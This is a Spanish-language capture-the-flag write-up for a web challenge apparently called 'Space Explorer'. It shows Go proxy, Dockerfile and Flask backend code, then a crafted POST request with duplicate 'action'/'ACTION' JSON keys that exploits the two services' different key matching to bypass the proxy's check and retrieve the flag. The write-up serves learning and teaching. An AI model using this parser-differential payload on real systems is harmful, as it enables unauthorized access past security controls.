Challenge Space Explorer
Este reto consiste en analizar una aplicación web con arquitectura de microservicios basada en Go y Python Flask y la solución consiste en explotar una colisión de claves JSON provocada por la desincronización de sus analizadores para evadir los controles de seguridad y obtener la flag.
El análisis del código fuente de la aplicación revela la estructura de los microservicios. El proxy inverso maneja las peticiones iniciales. Al inspeccionar el archivo main.go, se observa un mecanismo de validación para el punto de enlace /execute.
package main
import (
"bytes"
"encoding/json"
"io"
"log"
"net/http"
)
type RequestData struct {
Action string `json:"action"`
}
func homeHandler(w http.ResponseWriter, r *http.Request) {
html := `<!DOCTYPE html>
<html lang="en">
...
</html>`
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(html))
}
func executeHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
return
}
body, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Failed to read request body", http.StatusBadRequest)
return
}
var requestData RequestData
if err := json.Unmarshal(body, &requestData); err != nil {
http.Error(w, "Invalid JSON", http.StatusBadRequest)
return
}
switch requestData.Action {
case "getcosmic":
resp, err := http.Post("http://localhost:8081/execute", "application/json", bytes.NewBuffer(body))
if err != nil {
log.Printf("Failed to reach cosmic scanner: %v", err)
http.Error(w, "Scanner offline", http.StatusInternalServerError)
return
}
defer resp.Body.Close()
io.Copy(w, resp.Body)
case "getSecureCode":
w.Write([]byte("Access denied: Invalid security clearance"))
default:
http.Error(w, "Invalid command", http.StatusBadRequest)
}
}
func main() {
http.HandleFunc("/", homeHandler)
http.HandleFunc("/execute", executeHandler)
log.Println("Cosmic Explorer running on http://localhost:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}
El proxy en Go verifica el parámetro action dentro del cuerpo de la petición JSON. Si la acción tiene el valor getSecureCode, deniega el acceso y devuelve un mensaje de error. Por otro lado, si la acción es getcosmic, la petición se reenvía al backend en Python.
El archivo Dockerfile proporciona información sobre la configuración del entorno, confirmando el uso de Go 1.23 y Python 3.9, además de revelar que la flag se almacena en una variable de entorno.
FROM golang:1.23 AS go-builder
WORKDIR /usr/src/go-getter
COPY go-app/go.mod go-app/go.sum ./
RUN go mod download
COPY go-app/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build -o /docker-gs-ping
FROM python:3.9-slim
WORKDIR /usr/src/python-service
COPY python-service/app.py .
RUN pip install --no-cache-dir flask gunicorn
COPY --from=go-builder /docker-gs-ping /usr/local/bin/docker-gs-ping
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh /usr/local/bin/docker-gs-ping
ENV FLAG="HTB{f4k3_fl4g_4_t3st1ng}"
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
Al examinar el servicio backend en el archivo app.py, se expone la forma en que se procesan las peticiones una vez superan el proxy.
from flask import Flask, request, jsonify
import random
import os
app = Flask(__name__)
COSMIC_ANOMALIES = [
{
"name": "Quantum Singularity",
"src": "https://images.unsplash.com/photo-1462331940025-496dfbfc7564?w=600"
},
{
"name": "Nebula Cluster",
"src": "https://images.unsplash.com/photo-1506318137071-a8e063b4bec0?w=600"
},
{
"name": "Pulsar Emission",
"src": "https://images.unsplash.com/photo-1465101162946-4377e57745c3?w=600"
},
{
"name": "Dark Matter Veil",
"src": "https://images.unsplash.com/photo-1534796636912-3b95b3ab5986?w=600"
},
{
"name": "Supernova Remnant",
"src": "https://images.unsplash.com/photo-1454789548928-9efd52dc4031?w=600"
}
]
@app.route('/execute', methods=['POST'])
def execute():
if not request.is_json:
return jsonify({"error": "Invalid transmission format"}), 400
data = request.get_json()
if 'action' not in data:
return jsonify({"error": "No command received"}), 400
if data['action'] == "getcosmic":
anomaly = random.choice(COSMIC_ANOMALIES)
return jsonify(anomaly)
elif data['action'] == "getSecureCode":
return jsonify({
"flag": os.getenv("FLAG", "HTB{flag_not_set}"),
"name": "Captain's Log",
"src": "https://images.unsplash.com/photo-1534447677768-be436bb09401?w=600"
})
else:
return jsonify({"error": "Unknown command"}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8081, debug=True)
El servicio en Python evalúa el campo action de manera distinta. Si el backend recibe una acción con el valor getSecureCode, recupera y retorna la flag oculta. Esto genera una discrepancia entre ambos servicios: el proxy en Go bloquea la acción getSecureCode, mientras que el backend en Python la requiere para revelar la información.
Para evadir la validación de seguridad, se puede explotar la desincronización entre los analizadores JSON de Go y Python. La función json.Unmarshal de Go realiza un emparejamiento insensible a mayúsculas y minúsculas al asignar claves JSON a los campos de su estructura. Si existen múltiples claves coincidentes, la última en ser analizada sobrescribe los valores anteriores. En contraste, el analizador JSON de Python distingue entre mayúsculas y minúsculas, procesando estrictamente la clave exacta.
Al enviar una petición HTTP manipulada con claves duplicadas —una en minúsculas y otra en mayúsculas—, es posible engañar al proxy.
POST /execute HTTP/1.1
Host: 154.57.164.70:31916
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.70:31916/
Content-Type: application/json
Content-Length: 54
Origin: http://154.57.164.70:31916
Sec-GPC: 1
Connection: keep-alive
Priority: u=0
{
"action":"getSecureCode",
"ACTION": "getcosmic"
}
Cuando se procesa este payload, el proxy de Go asigna tanto action como ACTION a su estructura. La segunda clave, ACTION con el valor getcosmic, sobrescribe la primera, cumpliendo con la validación del proxy y permitiendo el reenvío de la petición. Una vez que el backend de Python recibe el mismo contenido, extrae exactamente la clave en minúsculas action, cuyo valor es getSecureCode. Esto activa la lógica que expone la flag.
HTTP/1.1 200 OK
Date: Mon, 20 Jul 2026 23:15:17 GMT
Content-Length: 128
Content-Type: text/plain; charset=utf-8
{
"flag": "HTB{FLAG}",
"name": "Captain's Log",
"src": "https://images.unsplash.com/photo-1534447677768-be436bb09401?w=600"
}
El servidor responde con la flag correspondiente, resolviendo así el desafío con éxito.